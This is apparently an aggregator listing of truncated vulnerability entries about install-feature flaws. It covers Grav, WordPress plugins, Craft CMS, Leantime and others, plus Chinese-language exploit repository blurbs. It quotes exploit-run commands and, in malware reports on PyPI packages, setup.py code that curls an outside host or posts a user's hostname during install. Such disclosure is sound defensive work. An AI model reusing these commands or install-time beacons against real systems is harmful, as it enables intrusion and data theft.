CVE-2025-50286

Grav Admin 直接安装 RCE CVE-2025-50286 用于在 Grav Admin 插件直接安装功能中进行认证远程代码执行的 Metasploit 模块和实验室环境搭建。 概述 CVE: CVE-2025-50286 影响: 认证远程代码执行 攻击向量: 管理面板 → 直接安装 结果: 以 Web 服务器权限执行任意命令 参考资料 CVE NVD Exploit-DB 在 Metasploit 中加载模块 root@kitploit: cp gravadmindirectinstallrcecve202550286.rb...

CVE-2022-1386

git clone https://github.com/satyasai1460/CVE-2022-1386.git cd CVE-2022-1386 apt install python3-pip pip install -r requirements.txt python3 exploit.py...

CVE-2024-25092

CVE-2024-25092 漏洞利用 概述 CVE-2024-25092 是一个影响 WordPress NextMove Lite 插件（版本 = 2.17.0）的高严重性漏洞。该漏洞允许订阅者级别及以上的用户在 WordPress 站点上安装和激活任意插件，原因是缺少授权检查。 详情 发布日期 : 2024-06-09 更新日期 : 2024-06-09 严重性 : 高 CVSS 分数: 8.8 CWE : CWE-862 - 缺少授权 受影响版本 : 从 n/a 到 2.17.0 的所有版本 CVSS 向量 CVSS 版本 : 3.1 向量字符串 :...

exploit_cve_2025_67303

exploitcve202567303 创建 CVE-2025-67303 的概念验证（PoC） 原始 PoC 位于 https://www.doyensec.com/resources/DoyensecAdvisoryComfyUIManagerRCEviaCustomNodeInstall.pdf...

CVE-2018-1335

CVE-2018-1335 对版本低于1.18的Apache Tika-server服务器的RCE（远程代码执行）漏洞 命令： sudo bash install.sh python2 exploit.py...

CVE-2025-2807

CVE-2025-2807：Motors 插件 漏洞利用者： Nxploited | Khaled Alenazi ⚠️ 漏洞概要 插件： Motors 📅 预计会因其简单性和严重影响而被大规模利用。 🚫 技术细节 漏洞端点：/wp-admin/admin-ajax.php 漏洞动作：mvlsetupwizardinstallplugin 所需访问级别：订阅者+ （已登录用户） 核心问题：缺少 currentusercan'installplugins' 或类似的能力检查 🚀 利用脚本（Python） 该脚本： 1. 以订阅者身份登录 2. 提取所需的 nonce（从 HTML 或...

CVE-2024-10728

CVE-2024-10728 PostX var ultpoptionpanel =...

EulerOS 2.0 SP10 : docker-engine (EulerOS-SA-2026-3735)

According to the versions of the docker-engine package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : Moby is an open source container framework. Prior to version 29.3.1, a security vulnerability has been detected that allows plugins privileg...

EulerOS 2.0 SP10 : docker-engine (EulerOS-SA-2026-3688)

According to the versions of the docker-engine package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : Moby is an open source container framework. Prior to version 29.3.1, a security vulnerability has been detected that allows plugins privileg...

Malicious code in requests-asetwe (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5 setup.py of requests-asetwe unconditionally executes os.system'curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com' during pip install. The...

CVE-2026-92591

Craft CMS 5.0.0 through 5.10.12 treats a database connection failure as meaning that Craft is not installed, which makes anonymous installer actions — including install/validate-site — reachable on an installed production site whenever PHP remains available but the configured MySQL endpoint does...

EUVD-2026-42951

Grav CMS — Improper Handling of Highly Compressed Data in Installer::unZip...

CVE-2026-92591 Craft CMS 5.0.0 before 5.10.13 Environment Secret Exposure via Installer

Craft CMS 5.0.0 through 5.10.12 treats a database connection failure as meaning that Craft is not installed, which makes anonymous installer actions — including install/validate-site — reachable on an installed production site whenever PHP remains available but the configured MySQL endpoint does...

CVE-2026-92591

Craft CMS versions 5.0.0 through 5.10.12 misinterpret a database connection failure as the application being uninstalled, exposing anonymous installer actions (e.g., install/validate-site) on a production site. The installer's site-name field is serialized through Site::getName(), which expands $...

CVE-2026-92772 Leantime before 3.9.6 Unauthorized Plugin Installation via HTMX

Leantime before 3.9.6 contains an authorization bypass vulnerability in the HTMX plugin install endpoint that lacks permission validation. Authenticated users with limited roles can install marketplace plugins and control arbitrary properties including identifier, version, and license key to depl...

CVE-2026-92772 Leantime before 3.9.6 Unauthorized Plugin Installation via HTMX

Leantime before 3.9.6 contains an authorization bypass vulnerability in the HTMX plugin install endpoint that lacks permission validation. Authenticated users with limited roles can install marketplace plugins and control arbitrary properties including identifier, version, and license key to depl...

CVE-2026-92772

Leantime before 3.9.6 contains an authorization bypass in the HTMX plugin install endpoint , which lacks permission validation. Authenticated users with limited roles can install marketplace plugins and control arbitrary properties—including identifier , version , and license key —to deploy malic...

Malicious code in cli-anything-ai-market (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c5319f74a06670d40b020831dae38da696aa966dc1fdfde45063abb0024df922 setup.py runs automatically during pip install and POSTs the installer's OS, username USER/USERNAME, and hostname via COMPUTERNAME on Windows or the...

PT-2026-93263

The VeloCloud Edge software update workflow may accept update bundles without properly validating their signatures because the workflow does not restrict the digest algorithm used for artifact verification. An attacker with either sufficient privileges to upload packages to VeloCloud Orchestrator...

The vulnerability of the Install component of the Oracle Enterprise Manager Base Platform software allows a perpetrator to trigger a service failure.

The vulnerability of the Install component of the Oracle Enterprise Manager Base Platform is related to deficiencies in access control. Exploiting this vulnerability could allow a malicious actor to cause service interruptions using the HTTPS protocol...